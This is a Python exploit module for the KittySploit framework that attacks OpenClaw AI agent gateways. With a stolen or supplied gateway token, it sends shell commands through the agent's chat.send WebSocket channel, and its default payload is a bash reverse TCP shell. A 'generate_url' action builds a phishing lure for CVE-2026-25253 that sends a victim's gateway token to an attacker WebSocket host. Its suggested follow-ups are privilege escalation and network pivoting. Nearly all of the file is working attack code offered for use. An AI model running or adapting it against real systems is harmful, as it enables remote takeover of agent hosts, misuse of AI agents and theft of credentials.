OpenClaw AI Agent Gateway RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.openclaw.gateway_client import (
    FIXED_CVE_2026_25253,
    GATEWAY_TOKEN_RE,
    OpenClawGatewayClient,
    version_lt,
)


class Module(Exploit, Http_client):

    __info__ = {
        "name": "OpenClaw AI Agent Gateway RCE",
        "description": (
            "Exploits exposed OpenClaw AI agent gateways by abusing operator WebSocket "
            "access (chat.send) with a stolen or supplied gateway token. Also supports "
            "CVE-2026-25253 malicious URL generation for token exfiltration chains."
        ),
        "author": "KittySploit Team",
        "cve": [
            "CVE-2026-25253",
            "CVE-2026-32922",
            "CVE-2026-30741",
        ],
        "platform": Platform.MULTI,
        "arch": [Arch.CMD],
        "references": [
            ["CVE", "2026-25253"],
            ["URL", "https://github.com/openclaw/openclaw/security/advisories/GHSA-g8p2-7wf7-98mq"],
            ["URL", "https://github.com/EQSTLab/CVE-2026-25253"],
            ["URL", "https://docs.openclaw.ai/gateway/security"],
        ],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.SINGLE,
        },
        "tags": ["openclaw", "ai-agent", "gateway", "websocket", "prompt-injection", "mcp"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    rhost = OptString("", "Target OpenClaw gateway host", required=True)
    rport = OptPort(18789, "Target port", required=True)
    ssl = OptBool(False, "Use HTTPS/WSS", required=True)
    verify_ssl = OptBool(False, "Verify TLS certificates", required=False, advanced=True)

    gateway_token = OptString(
        "",
        "OpenClaw gateway authentication token (40-128 hex chars)",
        required=False,
    )
    command = OptString(
        "",
        "Shell command to run via agent (overrides generated payload)",
        required=False,
    )
    session_key = OptString(
        "agent:main:main",
        "OpenClaw session key for chat.send",
        required=False,
        advanced=True,
    )
    action = OptChoice(
        "execute",
        "execute: run command via gateway token | generate_url: build CVE-2026-25253 lure URL",
        required=False,
        choices=["execute", "generate_url"],
    )
    victim_ui = OptString(
        "http://127.0.0.1:18789/",
        "Victim Control UI base URL (generate_url action)",
        required=False,
        advanced=True,
    )
    attacker_ws = OptString(
        "",
        "Attacker WebSocket endpoint for token exfil (generate_url action)",
        required=False,
        advanced=True,
    )

    def _client(self) -> OpenClawGatewayClient:
        return OpenClawGatewayClient(
            host=self.rhost,
            port=self.rport,
            ssl=self.ssl,
            timeout=max(int(self.timeout or 15), 10),
            verify_ssl=self.verify_ssl,
        )

    def check(self):
        try:
            info = self._client().fingerprint()
            if not info.get("detected"):
                return {
                    "vulnerable": False,
                    "reason": "Target does not look like an OpenClaw gateway",
                    "confidence": "medium",
                }

            version = str(info.get("version") or "")
            bind = str(info.get("bind") or "")
            reasons = ["OpenClaw gateway reachable"]
            confidence = "high"

            if version:
                reasons.append(f"version {version}")
                if version_lt(version, FIXED_CVE_2026_25253):
                    reasons.append("Control UI likely vulnerable to CVE-2026-25253 token exfil (< 2026.1.29)")

            token = str(self.gateway_token or "").strip()
            if token:
                if not GATEWAY_TOKEN_RE.fullmatch(token):
                    return {
                        "vulnerable": False,
                        "reason": "GATEWAY_TOKEN format is invalid",
                        "confidence": "high",
                    }
                reasons.append("gateway token supplied for operator RCE attempt")
            elif bind and bind not in ("loopback", "127.0.0.1", "localhost", ""):
                reasons.append(f"gateway bound to {bind} (network exposure risk)")

            return {
                "vulnerable": True,
                "reason": "; ".join(reasons),
                "confidence": confidence,
            }
        except Exception as exc:
            return {
                "vulnerable": False,
                "reason": f"Check failed: {exc}",
                "confidence": "low",
            }

    def _resolve_command(self) -> str:
        if self.command and str(self.command).strip():
            return str(self.command).strip()

        raw_payload = getattr(self, "payload", None)
        if not raw_payload:
            fail.Message("No payload or COMMAND configured")
            return ""

        if isinstance(raw_payload, bytes):
            return raw_payload.decode("utf-8", errors="ignore")
        return str(raw_payload)

    def run(self):
        action = str(self.action or "execute").strip().lower()

        if action == "generate_url":
            ws_url = str(self.attacker_ws or "").strip()
            if not ws_url:
                fail.Message("Set ATTACKER_WS for generate_url action (e.g. wss://attacker.example/exfil)")
                return False
            url = OpenClawGatewayClient.build_token_exfil_url(self.victim_ui, ws_url)
            print_success("CVE-2026-25253 lure URL generated:")
            print_info(url)
            print_warning(
                "Serve a WebSocket collector (see EQSTLab/CVE-2026-25253) and trick a victim "
                "into opening this URL in a browser with an active OpenClaw Control UI session."
            )
            return True

        token = str(self.gateway_token or "").strip()
        if not token:
            fail.Message(
                "GATEWAY_TOKEN is required for execute action "
                "(obtain via CVE-2026-25253 exfil, config leak, or insider access)"
            )
            return False

        cmd = self._resolve_command()
        if not cmd:
            return False

        print_status(f"Connecting to OpenClaw gateway at {self.rhost}:{self.rport} ...")
        print_debug(f"Command: {cmd}")

        result = self._client().execute_command(
            token=token,
            command=cmd,
            session_key=str(self.session_key or "agent:main:main"),
        )

        if result.get("success"):
            output = str(result.get("output") or "").strip()
            if output:
                print_success("Agent returned command output:")
                print_info(output)
            else:
                print_success("Command dispatched to OpenClaw agent.")
                print_info(
                    "If a reverse payload was used, watch your listener; "
                    "the agent may not echo shell output in chat."
                )
            return True

        print_error(f"Exploitation failed: {result.get('error') or 'unknown error'}")
        return False